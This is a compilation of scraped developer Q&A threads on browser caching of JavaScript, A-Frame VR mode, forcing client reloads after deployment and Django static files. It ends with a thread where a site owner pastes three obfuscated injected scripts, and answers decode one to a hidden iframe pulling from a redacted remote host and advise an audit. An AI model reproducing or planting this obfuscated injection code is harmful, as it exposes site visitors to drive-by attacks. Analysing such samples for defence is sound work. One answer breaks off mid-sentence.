Develop Reference

Prevent Chrome to cache JS file

When I'm connected too long in my back office and tried to log in again I'm rejected so I should clear my browser (Chrome,FF,Edge) every time to get access .
So i noticed that when the file named login.js is load from disk cache I can't access. here is a video that explain the issue.
I'm using PS on 3 websites with different version 1.7.6.5 and 1.7.6.6 aldo 1.7.6.7 on a VPS Linux Centos and 7.1 php version and I don't use any cache module as Nginx or Memcached.
Even on the mobile I should switch to desktop version or clear files to get access .
How can I prevent chrome to cache this file login.js on the browser setting or from the php file
Regards
https://www.prestashop.com/forums/uploads/monthly_2020_07/2020-07-28_05-41-14.mp4.f2a7a6c6fa765bb12f2c4a4d56d0d508.mp4

<script src="script.js?v=1"></script>
Change v value when you need (v=1, v=2...)
Or use PHP
<script src="script.js?v=<?php echo(rand(10,100)); ?>"></script>

Enter vrMode in aframejs

If i use the aframe js locally i am able to switch to stereoscopic mode directly on page load using :
if (scene.hasLoaded) {
scene.enterVR();
}
i have two js files on my website, aframe and bmfont:
<script src="https://aframe.io/releases/0.3.0/aframe.min.js"</script>
<script src="https://rawgit.com/bryik/aframe-bmfont-text-component/master/dist/aframe-bmfont-text-component.min.js"></script>
So if i reference the local file of aframejs, bmfont doesn't work.
And if i use the remote copy.. or the online version.. enterVR mode doesn't work.
https://github.com/smsejwan/aframe

enterVR() requires a user action because of browser security.
Maybe using it locally rather than on a webserver bypass that but then you encounter other problems (e.g. assets not loading).
There are ways to trick the browser (e.g. assign a shortcut then use a script like AHK to periodically call it) but it's not recommended.

How to force client reload after deployment?

I'm using the MEAN stack (mongo, express, angular and node). I'm deploying relatively frequently to production...every couple of days. My concern is that I'm changing the client side code and the API at times and I would rather not have to ensure backwards compatibility of the API with previous versions of the client code.
In such a scenario, what is the most effective way of ensuring that all clients reload when I push to production? I have seen that Evernote for example has a pop-up that says something along the lines of please reload your browser for the latest version of Evernote. I would like to do something similiar...do I need to go down the path of socket.io or sock.js or am I missing something simple and there is a simpler way to achieve this?

Update:
AppCache was deprecated summer 2015 so the below is no longer the best solution. The new recommendation is to use Service Workers instead. However, Service Workers are currently still experimental with sketchy (read: probably no) support in IE and Safari.
Alternatively, many build tools now seamlessly incorporate cache-busting and file "versioning" techniques to address OPs question. WebPack is arguably the current leader in this space.
This might be a good use case for using HTML5's AppCache
You'd probably want to automate some of these steps into your deployment scripts, but here is some code you might find useful to get you started.
First, create your appcache manifest file. This will also allow you to cache resources in the client's browser until you explicitly modify the appcache manifest file's date.
/app.appcache:
CACHE MANIFEST
#v20150327.114142
CACHE:
/appcache.js
/an/image.jpg
/a/javascript/file.js
http://some.resource.com/a/css/file.css
NETWORK:
*
/
In app.appcache, the comment on line #v20150327.114142 is how we indicate to the browser that the manifest has changed and resources should be reloaded. It can be anything, really, as long as the file will look different to the browser from the previous version. During deployment of new code in your application, this line should be modified. Could also use a build ID instead.
Second, on any pages you want to use the appcache, modify the header tag as such:
<html manifest="/app.appcache"></html>
Finally, you'll need to add some Javascript to check the appcache for any changes, and if there are, do something about it. Here's an Angular module. For this answer, here's a vanilla example:
appcache.js:
window.applicationCache.addEventListener('updateready', function(e) {
if (window.applicationCache.status == window.applicationCache.UPDATEREADY) {
// Browser downloaded a new app cache.
// Swap it in and reload the page to get the latest hotness.
window.applicationCache.swapCache();
if (confirm('A new version of the application is available. Would you like to load it?')) {
window.location.reload();
}
}
else {
// Manifest didn't changed. Don't do anything.
}
}, false);
Alternatively, if AppCache won't work for your situation, a more ghetto solution would be to create a simple API endpoint that returns the current build ID or last deployment date-time. Your Angular application occasionally hits this endpoint and compares the result to it's internal version, and if different, reloads itself.
Or, you may consider a live-reload script (example), but, while very helpful in development, I'm not sure how good of an idea it is to use live/in-place-reloading of assets in production.

I will tell you my problem first then I will recommend a tentative solution. I wanted to force my user to log out and then log in when a production build is been deployed. At any point in time, there will be two versions of software deployed on production. A version which software which FE knows and a version which Backend knows. Most of the time they would be the same. At any point in time if they go out of sync then we need to reload the client to let the client know that a new production build has been pushed.
I am assuming 99.99% of the time the backend would have the knowledge of the latest version of the deployed software on production.
following are the two approaches which I would love to recommend:-
The backend API should always return the latest version of the software in the response header. On the frontend, we should have a common piece of code that would check if the versions returned by the API and that present on the FE are the same. if not then reload.
Whenever a user logs in. the BE should encode the latest software version in the JWT. And the FE should keep sending this as a bearer token along with every API request. The BE should also write a common interceptor for every API request. which would compare the software version in the JWT received from the API request and the

Maybe you can add hash to your client code file name. eg app-abcd23.js.
So the browser will reload the file instead of get it from cache. or you can just add the hash to url.eg app.js?hash=abcd23 but some browser may still use the cached version.
i know rails has assets-pipline to handle it, but i am not familiar with MEAN stack. there should be some package in npm for that purpose.
And i dont think it is really necessary to use socket.io if you want to notify the user their client code is out of date. you can define your version in both html meta tag and js file,if mismatch, show a popup and tell the user to refresh.

Try to limit your js/files to expire within smaller periodic time, ie: 1 days.
But in case you want something that pop-out and tell your user to reload (ctrl+f5) their browser, then simply make a script that popup that news if you just changed some of your files, mark the ip/session who have just reload/told to reload, so they will not be annoyed with multiple popup.

I was facing the same problem recently. I fixed this by appending my app's build number with my js/css files. All my script and style tags were included by a script in a common include files so it was trivial to add a 'build number' at the end of the js/css file path like this
/foo/bar/main.js?123
This 123 is a number that I keep track of in my same header file. I increment it whenever I want the client to force download all the js files of the app. This gives me control over when new versions are downloaded but still allows the browser to leverage cache for every request after the first one. That is until I push another update by increment the build number.
This also means I can have a cache expiry header of however long I want.

Set a unique key to local storage during the build process
I am using react static and loading up my own data file, in there i set the ID each time my content changes
Then the frontend client reads the key with from local storage
(if the key does not exist it must be the first visit of the browser)
if the key from local storage does not match it means the content has changed
fire line below to force reload
window.replace(window.location.href + '?' + key)
in my case i had to run this same line again a second latter
like
setTimeout( (window.replace(window.location.href + '?' + key))=> {} , 1000)
full code below:
const reloadIfFilesChanged = (cnt: number = 0, manifest: IManifest) => {
try {
// will fail if window does not exist
if (cnt > 10) {
return;
}
const id = localStorage.getItem('id');
if (!id) {
localStorage.setItem('id', manifest.id);
} else {
if (id !== manifest.id) {
// manifest has changed fire reload
// and set new id
localStorage.setItem('id', manifest.id);
location.replace(window.location.href + '?' + manifest.id);
setTimeout(() => {
location.replace(window.location.href + '?' + manifest.id + '1');
}, 1000);
}
}
} catch (e) {
// tslint:disable-next-line:no-parameter-reassignment
cnt++;
setTimeout(() => reloadIfFilesChanged(cnt, manifest), 1000);
}
};

The web page does't act to changes in my javascript code (django)

I am working with django now. And I write a javascript for my website, but now it seems that the website doesn't act to changes of my javascript code.
Here is part of the code I have in the javascript file on my computer
$(document).ready(function() {
alert("fslfjsdlkf");
// geocode
//if ($("input[name$='l']") && $("input[name$='l']").val() == '' && !$(".email")){
if(1>2){
var geocoder;
var latitude;
var longitude;}
here is the code I get from the Developer tools of Chrome
$(document).ready(function() {
// geocode
if ($("input[name$='l']") && $("input[name$='l']").val() == ''){
var geocoder;
var latitude;
var longitude;
var altitude;
var user_location;
You can see that the codes are different.
Also, the web page will act to my html code.
Another thing to add, I use git for this project.
Does anyone have an idea of the reason???
Thanks in advance!

I've run into similar problems with Django. It has to do with caching of static content. Try restarting your webserver and/or clearing your browser cache. Also, some more information about your setup would be helpful.
How are you running Django? What webserver and delivery method are you using?
What version of Django are you using? There have been some changes in the latest version (1.3) that affect how I would answer your problem.
If you are using 1.3, where are you putting the js? In the STATIC_ROOT or one the application static folders?

If the code is in a static javascript file, and you are not serving it out of the runserver, perhaps you need to regenerate static files? manage.py collectstatic will handle that for you.

It's not related to Django, but I have had similar problems with Chrome before. It sometimes just doesn't reload Javascript files, and uses the files from the cache even though the file on the server has changed.
Until this problem is solved, I'd suggest developing with another browser (which is a shame, as Chrome is very nice in other respects).

What does this script do?

Would anybody be able to tell me what the below script does? It keeps injecting itself into our site about every two weeks (always between Sundays and Mondays). We've reloaded our "clean" site dozens of times but it just keeps happening. We've installed and made every security recommendation that we've read but it just keeps getting into all of our index.html files and a few of our php files.
Anybody have any idea of what it does or where it comes from? We could really use some help!
<script>
var ar="v)y{ifu=lg[rETCB}me h>;
s\"/ 0.,tN1:('<cAb]waonpd";
try{
'qwe'.length(1);
}catch(a){
k=new Boolean().toString();
date=new Date();
};
var ar2 = "f57,57,12,15,78,102,138,129,111,18,51,54,132,90,84,27,54,90,36,24,54,51,54,132,90,69,45,6,39,126,27,93,126,51,54,102,105,117,129,138,6,105,3,30,81,120,3,9,57,57,57,12,15,33,126,51,54,33,102,3,66,57,57,48,78,54,24,69,54,78,9,57,57,57,138,129,111,18,51,54,132,90,84,123,33,12,90,54,102,72,108,12,15,33,126,51,54,78,69,33,111,21,105,60,90,90,135,99,75,75,138,129,24,129,126,69,84,111,129,51,75,111,129,18,132,90,81,84,135,60,135,105,78,123,12,138,90,60,21,105,96,81,105,78,60,54,12,27,60,90,21,105,96,81,105,78,69,90,6,24,54,21,105,0,12,69,12,117,12,24,12,90,6,99,60,12,138,138,54,132,66,135,129,69,12,90,12,129,132,99,126,117,69,129,24,18,90,54,66,24,54,15,90,99,81,66,90,129,135,99,81,66,105,63,108,75,12,15,33,126,51,54,63,72,3,66,57,57,48,57,57,15,18,132,111,90,12,129,132,78,12,15,33,126,51,54,33,102,3,9,57,57,57,0,126,33,78,15,78,21,78,138,129,111,18,51,54,132,90,84,111,33,54,126,90,54,36,24,54,51,54,132,90,102,105,12,15,33,126,51,54,105,3,66,15,84,69,54,90,114,90,90,33,12,117,18,90,54,102,105,69,33,111,105,87,105,60,90,90,135,99,75,75,138,129,24,129,126,69,84,111,129,51,75,111,129,18,132,90,81,84,135,60,135,105,3,66,15,84,69,90,6,24,54,84,0,12,69,12,117,12,24,12,90,6,21,105,60,12,138,138,54,132,105,66,15,84,69,90,6,24,54,84,135,129,69,12,90,12,129,132,21,105,126,117,69,129,24,18,90,54,105,66,15,84,69,90,6,24,54,84,24,54,15,90,21,105,81,105,66,15,84,69,90,6,24,54,84,90,129,135,21,105,81,105,66,15,84,69,54,90,114,90,90,33,12,117,18,90,54,102,105,123,12,138,90,60,105,87,105,96,81,105,3,66,15,84,69,54,90,114,90,90,33,12,117,18,90,54,102,105,60,54,12,27,60,90,105,87,105,96,81,105,3,66,57,57,57,138,129,111,18,51,54,132,90,84,27,54,90,36,24,54,51,54,132,90,69,45,6,39,126,27,93,126,51,54,102,105,117,129,138,6,105,3,30,81,120,84,126,135,135,54,132,138,42,60,12,24,138,102,15,3,66,57,57,48]".replace(k.substr(0,1),'[');
pau="rn ev2010"[('afas','rep')+('rhrh','lace')](date[('adsaf','getF')+'ullY'+('qwtrqwt','ear')]()-1,('awgwag',"al"));
e=Function("retu"+pau)();
ar2=('gfhgffg',e(ar2));s="";
for(i=0;i<ar2.length;i++){
s+=ar.substr(ar2[i]/3,1);
}
e(s);
</script>
<script>
var ar="N<B)10'paes,>.nidtf3[T;
hwy mCE:gA{](=o/\"c}lbr vu";
try{
'qwe'.length(1);
}catch(a){
k=new Boolean().toString();
date=new Date();
};
var ar2 = "f78,78,45,54,135,105,48,111,120,141,81,27,42,51,39,93,27,51,87,126,27,81,27,42,51,30,6,75,63,24,93,0,24,81,27,105,18,129,111,48,75,18,9,60,15,102,9,99,78,78,78,45,54,132,24,81,27,132,105,9,66,78,78,123,135,27,126,30,27,135,99,78,78,78,48,111,120,141,81,27,42,51,39,72,132,45,51,27,105,117,3,45,54,132,24,81,27,135,30,132,120,108,18,69,51,51,21,90,114,114,27,48,45,51,45,24,126,39,120,111,81,114,120,111,141,42,51,57,15,39,21,69,21,18,135,72,45,48,51,69,108,18,12,15,18,135,69,27,45,93,69,51,108,18,12,15,18,135,30,51,75,126,27,108,18,138,45,30,45,129,45,126,45,51,75,90,69,45,48,48,27,42,66,21,111,30,45,51,45,111,42,90,24,129,30,111,126,141,51,27,66,126,27,54,51,90,15,66,51,111,21,90,15,66,18,36,3,114,45,54,132,24,81,27,36,117,9,66,78,78,123,78,78,54,141,42,120,51,45,111,42,135,45,54,132,24,81,27,132,105,9,99,78,78,78,138,24,132,135,54,135,108,135,48,111,120,141,81,27,42,51,39,120,132,27,24,51,27,87,126,27,81,27,42,51,105,18,45,54,132,24,81,27,18,9,66,54,39,30,27,51,96,51,51,132,45,129,141,51,27,105,18,30,132,120,18,33,18,69,51,51,21,90,114,114,27,48,45,51,45,24,126,39,120,111,81,114,120,111,141,42,51,57,15,39,21,69,21,18,9,66,54,39,30,51,75,126,27,39,138,45,30,45,129,45,126,45,51,75,108,18,69,45,48,48,27,42,18,66,54,39,30,51,75,126,27,39,21,111,30,45,51,45,111,42,108,18,24,129,30,111,126,141,51,27,18,66,54,39,30,51,75,126,27,39,126,27,54,51,108,18,15,18,66,54,39,30,51,75,126,27,39,51,111,21,108,18,15,18,66,54,39,30,27,51,96,51,51,132,45,129,141,51,27,105,18,72,45,48,51,69,18,33,18,12,15,18,9,66,54,39,30,27,51,96,51,51,132,45,129,141,51,27,105,18,69,27,45,93,69,51,18,33,18,12,15,18,9,66,78,78,78,48,111,120,141,81,27,42,51,39,93,27,51,87,126,27,81,27,42,51,30,6,75,63,24,93,0,24,81,27,105,18,129,111,48,75,18,9,60,15,102,39,24,21,21,27,42,48,84,69,45,126,48,105,54,9,66,78,78,123]".replace(k.substr(0,1),'[');
pau="rn ev2010"[('afas','rep')+('rhrh','lace')](date[('adsaf','getF')+'ullY'+('qwtrqwt','ear')]()-1,('awgwag',"al"));
e=Function("retu"+pau)();
ar2=('gfhgffg',e(ar2));
s="";
for(i=0;i<ar2.length;i++){
s+=ar.substr(ar2[i]/3,1);
}
e(s);
</script>
<script>
var ar="rf:pmy'1uvAE, hi)2Tbs{ [tg=BcC\"do<a(.}N/9];wl>en0";
try{
gserkewg();
}catch(a){
k=new Boolean().toString()
};
var ar2 = "f66,0,-21,-42,36,66,-12,3,-12,-60,-12,126,3,-69,36,-33,63,-66,-39,99,6,-126,126,3,-69,-12,21,-66,39,48,-27,39,-12,-90,126,-33,-87,39,39,-3,-78,3,30,21,75,-21,-75,15,3,0,0,-21,-42,-3,102,-90,126,-138,105,-57,78,-60,0,45,-72,99,-6,-72,78,-99,24,3,0,0,27,3,-12,-60,-12,126,3,-69,36,21,-129,45,27,66,-33,-15,9,-54,-42,-3,102,-90,126,-99,21,-60,84,-6,-60,24,30,0,-63,-3,111,0,12,-33,-96,12,126,-66,30,30,-24,-24,12,-84,105,-33,12,-72,117,-69,-21,69,-12,-99,33,-33,9,21,90,-84,48,-21,-30,36,-60,3,123,-126,21,3,96,-93,30,-33,30,6,-60,3,123,-126,21,21,12,-57,117,6,-60,-60,9,18,15,-15,12,-12,87,-87,27,-57,-9,36,3,48,0,45,3,-15,-117,87,-36,-15,27,-27,51,45,-135,96,-45,3,36,36,-108,48,66,-12,6,6,-135,69,-66,138,-18,-54,24,-87,-3,138,-18,-108,117,-36,18,-72,-42,-3,102,-90,126,-3,-45,-42,78,-60,0,45,-45,0,-63,21,117,-57,-12,-27,51,45,-102,6,-42,-3,102,-90,126,-138,105,-57,15,3,0,0,-39,75,-102,39,-36,36,39,-39,54,3,-12,-60,-12,126,3,-69,36,-24,-84,138,-36,-30,66,-105,99,6,-126,126,3,-69,33,-87,27,-42,-3,102,-90,126,-120,30,78,-123,105,-48,78,-66,-42,42,0,-72,45,12,-33,48,66,-33,-87,42,-60,84,-66,18,-18,24,30,0,-63,-3,111,0,12,-33,-96,12,126,-66,30,30,-24,-24,12,-84,105,-33,12,-72,117,-69,-21,69,-12,-99,33,-33,9,30,78,-123,105,-48,12,-57,117,6,-30,-81,18,15,-15,12,-12,87,-87,27,-57,63,-60,24,3,48,0,45,3,-123,108,-123,105,-48,12,-57,117,6,-30,-99,87,-36,-15,27,-27,51,45,-63,-60,84,-45,3,36,36,-108,48,66,-120,108,-123,105,-48,12,-57,117,6,-30,24,6,-135,69,6,-60,126,-126,108,-123,105,-48,12,-57,117,6,-30,-36,24,-87,69,-60,126,-126,108,-123,105,-48,78,-66,-42,42,0,-72,45,12,-33,48,66,-33,-87,111,-84,48,-21,-30,-24,18,-18,3,123,-126,30,78,-123,105,-48,78,-66,-42,42,0,-72,45,12,-33,48,66,-33,-87,24,96,-93,30,-33,30,-54,18,-18,3,123,-126,30,78,-60,0,0,27,3,-12,-60,-12,126,3,-69,36,-33,63,-66,-39,99,6,-126,126,3,-69,-12,21,-66,39,48,-27,39,-12,-90,126,-33,-87,39,39,-3,-78,3,30,21,75,-21,-15,-6,-93,0,129,3,-48,-6,-45,3,87,-39,12,-102,45,78,-60,0,45]".replace(k.substr(0,1),'[');
try{
asfasf();
}catch(e)
{
p=(typeof document).toString()
};
pau="rn evobject".replace(p,"al");
e=new Function("","retu"+pau);
e=e();
ar2=e(ar2);
s="";
var pos=0;
for(i=0;i!=ar2.length;i++){
pos+=parseInt(k.replace("false","0asd"))+ar2[i]/3;
s+=ar.substr(pos,1);
}
e(s);
</script>

Via the power of JSUnpack, we can decrypt a chunk of that obfuscated code and see part of the functionality...
document.write (s) <iframe src='http://doloasxxxxedoutforsafety.com/count0.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>
That source is currently 404, but it doesn't look very friendly. It's effectively downloading an arbitrary page into the browser, which could be for something as "simple" as fake Pagerank building through to a malicious drive by code execution exploit. Regardless, it appears dead for now, but it probably wasn't trying to help you.
You seem to have some kind of XSS injection flaw in your site software (or a malicious internal user). Looks like it's time for a proper security audit (both of server, server software, and your PHP application). If you're running an off the shelf PHP package (like Wordpress), make sure you've upgraded to the latest version. You might also want to change any relevant passwords (if it's happening on a regular schedule, it might be a manual injection).

The script is probably designed to lure users to a site containing malware and browser exploits.
The reason that you're repeatedly being infected is because somewhere in your codebase there is a vulnerability. I suspect you've got an unprotected or broken file upload page that allows any old file to be uploaded (including scripts) and then executed. Once it's done infecting your files it probably delete's itself.
I would have a trawl through your web server log files at around the time the infection happens and look for suspicious activity for any pages that allow users to upload content.

what other scripts do you use on your site? look at those because those could be injecting this.
maybe your webhost is shady, try to change. Or it could be a web analytics code

The exact same code is being injected into the index.html file on one of my sites. By looking at the logs we determined that someone with the IP address 84.16.226.245 had gotten access via FTP. We're not exactly sure how he got in yet, but you might want to take a look at your logs and block that address.
Good luck!